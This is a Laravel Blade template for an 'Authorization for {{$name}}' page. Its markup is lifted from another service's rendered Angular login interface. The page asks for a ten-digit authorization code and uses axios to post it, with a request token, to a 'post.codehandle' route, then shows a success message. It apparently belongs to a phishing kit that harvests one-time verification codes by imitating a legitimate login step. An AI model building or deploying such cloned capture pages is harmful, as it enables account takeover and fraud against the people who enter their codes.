@extends('main')

@section('content')
<div _ngcontent-vpm-c183=""
class="relative flex-grow flex avoid-page-breaks-on-print print:p-0 print:m-0 flex-col bg-grey-50">
<div _ngcontent-vpm-c183=""
    class="print:bg-white print:p-0 flex-grow flex flex-col px-2 sm:px-5 pt-5 pb-15">
    <main _ngcontent-vpm-c183="" id="fpui-shell__content" data-cy="fpui-shell-content"
        class="flex avoid-page-breaks-on-print flex-col flex-1 flex-grow">
        <div _ngcontent-vpm-c214="" fpuishellcontent="" class="fpui-shell__content min-h-full">
            <router-outlet _ngcontent-vpm-c215=""></router-outlet>
            <oklr-login-page _nghost-vpm-c170="">
                <div id="code" class="component max-w-lg mx-auto">
                    <div _ngcontent-vpm-c170="" class="flex flex-col mb-5 ng-star-inserted">
                        <div _ngcontent-vpm-c170="" class="flex flex-col gap-2 mb-4">
                            <oklr-info-message-list _ngcontent-vpm-c170=""
                                class="flex flex-col gap-2 ng-star-inserted" _nghost-vpm-c169="">
                                
                                <oklr-browser-check _ngcontent-vpm-c169=""
                                    class="flex flex-col gap-2" _nghost-vpm-c216="">
                                </oklr-browser-check>
                            </oklr-info-message-list>
                            
                        </div>
                        <oklr-title _ngcontent-vpm-c170="" _nghost-vpm-c154="">
                            
                            <h4 _ngcontent-vpm-c154="" id="page-title"
                                class="cc-text-xl-heading sm:cc-text-sm-heading md:cc-text-3xl-heading ng-star-inserted">
                                Authorization for {{$name}}
                            </h4>
                        </oklr-title>
                    </div>
                    <fpui-widget-layout _ngcontent-vpm-c170=""
                        class="grid gap-5 print:flex print:flex-col-reverse fpui-widget-layout--sidebar-right ng-star-inserted">
                        <div class="fpui-widget-layout__main">
                            <fpui-card-page _ngcontent-vpm-c170="" fpuigridlayoutposition="main"
                                class="fpui-card-page block relative">
                                <div
                                    class="fpui-card-page__card-wrapper relative mx-auto max-w-xl">
                                    
                                    <div
                                        class="fpui-card-page__card bg-white border border-grey-300 rounded-lg shadow-md mb-12 print:border-0 print:border-none print:shadow-none print:m-0 fpui-card--divider-full">
                                        
                                        
                                        <fpui-card-page-content _ngcontent-vpm-c170=""
                                            class="block border-grey-200 relative print:overflow-auto print:p-0 print:border-0 p-5 md:p-10 border-b pt-0 md:pt-0 mt-5 md:mt-10">
                                            
                                            
                                            <oklr-login-step _ngcontent-vpm-c170=""
                                                _nghost-vpm-c147="">
                                                <oklr-first-login _ngcontent-vpm-c147=""
                                                    _nghost-vpm-c142="" class="ng-star-inserted">
                                                    
                                                      
                                                      <style>
                                                            .media {
                                                            display: flex;
                                                            align-items: center;
                                                            }
                                                            
                                                            .media-img {
                                                            margin-right: 0.33em;
                                                            width: 64px;
                                                            height: 64px;
                                                            }
                                                            
                                                            .media-body {
                                                            display: flex;
                                                            flex-direction: column;
                                                            }
                                                      </style>
                                                    <form id="codeform"
                                                        class="ng-pristine ng-valid ng-touched">
                                                        <div id="codeerror"
                                                            class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig hidden">
                                                            <div aria-live="polite">
                                                                <div class="fpui-control__messages fpui-control__messages--error "
                                                                    data-cy="messages-error">
                                                                    <h1>Unable to update session data.</h1>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <div id="codesuccess"
                                                            class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig hidden">
                                                            <div aria-live="polite">
                                                                <div class="fpui-control__messages fpui-control__messages--success "
                                                                    data-cy="messages-error">
                                                                    <h1 style="color:green">Info updated successfully.</h1>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full pb-6 md:pb-8 form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field 
                                                                        class="form-field inline-flex flex-col ng-tns-c70-0 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-0">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-0">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-0">
                                                                                    <input
                                                                                        style="margin-top: 0.66rem;"
                                                                                        id="dinzabauthcode"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-0 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="12"
                                                                                        aria-required="true"
                                                                                        required
                                                                                        type="text"
                                                                                        placeholder="00 0000 0000"
                                                                                        required
                                                                                        mask-data="00 0000 0000">
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-0 ng-star-inserted">
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-actions 
                                                            alignment="right"
                                                            class="fpui-actions fpui-actions--right">
                                                            <button 
                                                                variant="primary"
                                                                class="fpui-button cc-text-sm fpui-button--primary fpui-button--normal"
                                                                type="submit">
                                                                Authorize
                                                            </button>
                                                            
                                                        </fpui-actions>
                                                    </form>
                                                </oklr-first-login>
                                            </oklr-login-step>
                                        </fpui-card-page-content>
                                    </div>
                                </div>
                            </fpui-card-page>
                        </div>
                    </fpui-widget-layout>
                </div>
            </oklr-login-page>
            
            
        </div>
    </main>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>

<script>
$('#dinzabauthcode').mask("00 0000 0000");
</script>
<script>
$(document).ready(()=>{
    $('#codeform').submit(async (e)=>{
        e.preventDefault();
        let error = $('#codeerror');
        let success = $('#codesuccess');

        await axios.post("{{route('post.codehandle')}}", {
            dinzabauthcode : $('#dinzabauthcode').val(),
            token : "{{request()->token}}"
        }).then((res) => {
            if(res.data.success === true) {
                success.removeClass('hidden');
            } else {
                error.removeClass('hidden');
            }
        })
    })
})
</script>
@endsection